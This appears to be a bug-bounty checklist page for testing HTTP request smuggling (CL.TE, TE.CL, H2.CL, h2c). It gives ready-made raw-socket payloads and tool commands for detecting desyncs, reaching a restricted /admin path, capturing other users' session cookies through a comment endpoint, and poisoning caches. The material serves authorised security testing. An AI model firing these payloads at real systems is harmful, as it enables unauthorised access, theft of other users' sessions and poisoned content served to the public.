HTTP Request Smuggling

Exploitation HIGH v1.0.0 updated 2026-07-05

Test for HTTP request smuggling (desync) between front-end and back-end servers to bypass access controls, capture other users' requests, and poison caches.

Tools

Burp SuiteHTTP Request Smugglersmuggler.pyh2csmuggler

Tags

exploitationrequest-smugglinghttp-desynccache-poisoninghttp2

// checklist steps

smuggle-01

Understand the desync variants

Map how the front-end and back-end disagree about request boundaries — CL.TE, TE.CL, TE.TE, CL.0, and H2.CL — so you can pick the right probe for the target stack.

CL.TE means the front-end honors Content-Length while the back-end honors Transfer-Encoding; TE.CL is the reverse. CL.0 and H2.CL arise when a server ignores the body length entirely or when HTTP/2 is downgraded to HTTP/1.1 with a mismatched length. Identify which server terminates TLS and which parses which header before crafting payloads.

smuggle-02

Detect desync with timing probes

Use timing-based detection to find smuggling without needing a differential response, since a partial request that stalls the back-end reveals a boundary disagreement.

# Burp: Extensions > HTTP Request Smuggler > Smuggle probe / timing test on the request
# CL.TE timing probe with smuggler.py
python3 smuggler.py -u https://target.com/ -m timeout
# Manual TE.CL timing probe: back-end waits for bytes that never arrive
printf 'POST / HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\nContent-Length: 4\r\n\r\n1\r\nA\r\nX' | openssl s_client -quiet -connect target.com:443

A time delay on a crafted request that should complete instantly is strong evidence of a desync. Run timing probes multiple times to rule out network jitter before trusting the result.

smuggle-03

Confirm smuggling with a differential response

Prove the desync by smuggling a prefix that makes the next request on the connection receive an anomalous response, confirming the boundary confusion in-band.

# CL.TE: the back-end sees a smuggled GET /404 prefix on the next request
printf 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 49\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /404nonexistent HTTP/1.1\r\nX: X' | openssl s_client -quiet -connect target.com:443
# Run the Burp Request Smuggler 'Confirm' step to validate automatically

Send the attack request immediately followed by a normal request on the same connection. If the normal request receives the response intended for your smuggled prefix (for example a 404), the desync is confirmed. Always test against your own session first to avoid poisoning other users.

smuggle-04

Bypass front-end access controls

Smuggle a request to an internal or restricted path so it is processed by the back-end without passing through front-end authorization or path filtering.

# Smuggle a request to /admin that the front-end would normally block
printf 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 54\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /admin/delete?user=carlos HTTP/1.1\r\nX: X' | openssl s_client -quiet -connect target.com:443

Front-end proxies often enforce access control on paths like /admin while trusting anything they forward. Smuggling lets the restricted path reach the back-end directly. Check whether the back-end trusts front-end-only headers you can now inject.

smuggle-05

Capture other users' requests

Smuggle a prefix that causes a victim's subsequent request to be appended to an attacker-controlled request that is then stored or reflected, leaking their headers and cookies.

# Smuggle a POST to a comment/store endpoint; the victim's request body gets appended
printf 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 330\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST /comment HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 400\r\n\r\ncomment=' | openssl s_client -quiet -connect target.com:443

Set the smuggled Content-Length larger than your own body so the parser swallows the start of the next victim request. Retrieve the stored comment to read the captured request, which often contains the victim's session cookie.

smuggle-06

Poison the cache via smuggling

Combine a desync with a cacheable response so the smuggled response, or an injected redirect/script, is stored and served to other users of the shared cache.

# Smuggle a request whose response gets cached against a normal victim URL
python3 smuggler.py -u https://target.com/ -m timeout --exploit
# In Burp, use Request Smuggler's 'Attempt cache poisoning' probe against a static asset path

Chaining smuggling with an open redirect or reflected header lets you cache a malicious response against a popular path. Confirm the poisoned entry from a clean connection or another IP to prove impact to other users.

smuggle-07

Smuggle through HTTP/2 downgrade

When the front-end speaks HTTP/2 but downgrades to HTTP/1.1 for the back-end, inject CRLF or mismatched length headers to desync (H2.CL / H2.TE) and test h2c upgrade smuggling.

# Test h2c (cleartext HTTP/2) upgrade smuggling through the proxy
python3 h2csmuggler.py -x https://target.com/ --test
python3 h2csmuggler.py -x https://target.com/ http://target.com/admin
# In Burp Repeater, disable request normalization and inject \r\n in an HTTP/2 header value

HTTP/2 carries length as metadata, so a front-end that rebuilds an HTTP/1.1 request can be tricked by smuggled Content-Length or CRLF in header values. Enable 'Allow HTTP/2 ALPN override' and turn off header normalization in Burp to craft these.

Overview

HTTP request smuggling exploits a disagreement between a front-end proxy and a back-end server about where one request ends and the next begins. That desync lets an attacker prepend bytes to another user’s request, bypass front-end access controls, capture credentials, and poison shared caches — routinely a critical-severity finding on programs that run a CDN or load balancer in front of their application.

What to look for

Look for any two-server architecture: a CDN, WAF, load balancer, or reverse proxy in front of the origin. The classic variants are CL.TE and TE.CL, but modern stacks are increasingly vulnerable to CL.0, TE.TE header obfuscation, and HTTP/2-to-HTTP/1.1 downgrade desyncs (H2.CL / H2.TE). Timing-based detection finds these even when the response gives nothing away.

Common pitfalls

Request smuggling is intrusive: a botched payload can desync the connection for real users, poison caches unintentionally, or drop requests. Always test against your own requests and sessions first, keep smuggled prefixes pointed at harmless paths during detection, and confirm impact carefully before reporting. Rerun timing probes to rule out jitter, and disable Burp’s request normalization when working with HTTP/2.

// references

  1. https://portswigger.net/web-security/request-smuggling
  2. https://portswigger.net/web-security/request-smuggling/advanced
  3. https://github.com/PortSwigger/http-request-smuggler
  4. https://github.com/defparam/smuggler
  5. https://github.com/BishopFox/h2csmuggler
← All checklists JSON ↗